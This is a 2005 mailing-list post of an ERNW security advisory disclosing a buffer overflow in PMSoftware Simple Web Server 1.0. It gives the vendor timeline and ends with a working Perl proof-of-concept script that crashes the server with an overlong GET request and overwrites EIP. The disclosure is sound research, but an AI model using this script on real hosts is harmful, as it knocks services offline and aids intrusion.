ERNW Security Advisory 01/2005

• Previous message: Amit Klein (AKsecurity): "Re: HTTP RESPONSE SPLITTING by Diabolic Crab"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Date: Mon, 18 Apr 2005 18:54:22 +0200
To: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk, vulnwatch@vulnwatch.org

ERNW Security Advisory 01-2005

Buffer Overflow in PMSoftware's Simple Web Server

Author:
Michael Thumann <mthumann[at]ernw.de>

1. Summary:
Simple Web Server doesn't do proper bounds checking handling normal GET requests.
Sending an overlong page or script name, it causes an buffer overflow and an attacker
can controll the EIP to run arbitrary code on the victims machine.

2. Severity : Critical

3. Systems affected
The vulnerability was testest with Simple Web Server 1.0

4. Patch Availability :
No patch available

5. Details
The follwoing request causes Simple Web Server to crash:

GET /AAAAAA.....AAAA with 260 As

A Proof of Concept Code is published with this Advisory

6. Solution
Use another web server ;-)

7. Time-Line
17 Feb 2005: Vulnerability reported to vendor
28 Feb 2005: 2nd report because the vendor didn't respond
07 Mar 2005: 3rd mail sent to thre vendor - vendor didn't respond
18 Apr 2005: Public Disclosure

8. Exploit

#!/usr/bin/perl
# DoS Exploit By mthumann@ernw.de
# Tested against WinXP + SP2
# Remote Buffer Overflow in PMSoftware Simple Web Server 1.0.15
# buffer[250]

use Socket;

print "PMSoftware Simple Web Server Exploit by Michael Thumann \n\n";

if (not $ARGV[0]) {
        print "Usage: swsexploit.pl <host>\n";
exit;}

$ip=$ARGV[0];

print "Sending Shellcode to: " . $ip . "\n\n";
my $testcode=
"ERNWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB".
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC".
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD".
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE".
"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF".
"ABCDEFGHIJAAAA"; #EIP =41414141

my $attack="GET /".$testcode." HTTP/1.1\n" ;

$target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);
                $|=1;
                print $attack;
                my @in=<S>;
                select(STDOUT);
                close(S);
        } else { die("Can't connect...\n"); }

9. Disclaimer
 The informations in this advisory are provided "AS IS" without warranty
of any kind. In no event shall the authors be liable for any damages
whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages due to the misuse of any
information provided in this advisory.

• Previous message: Amit Klein (AKsecurity): "Re: HTTP RESPONSE SPLITTING by Diabolic Crab"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]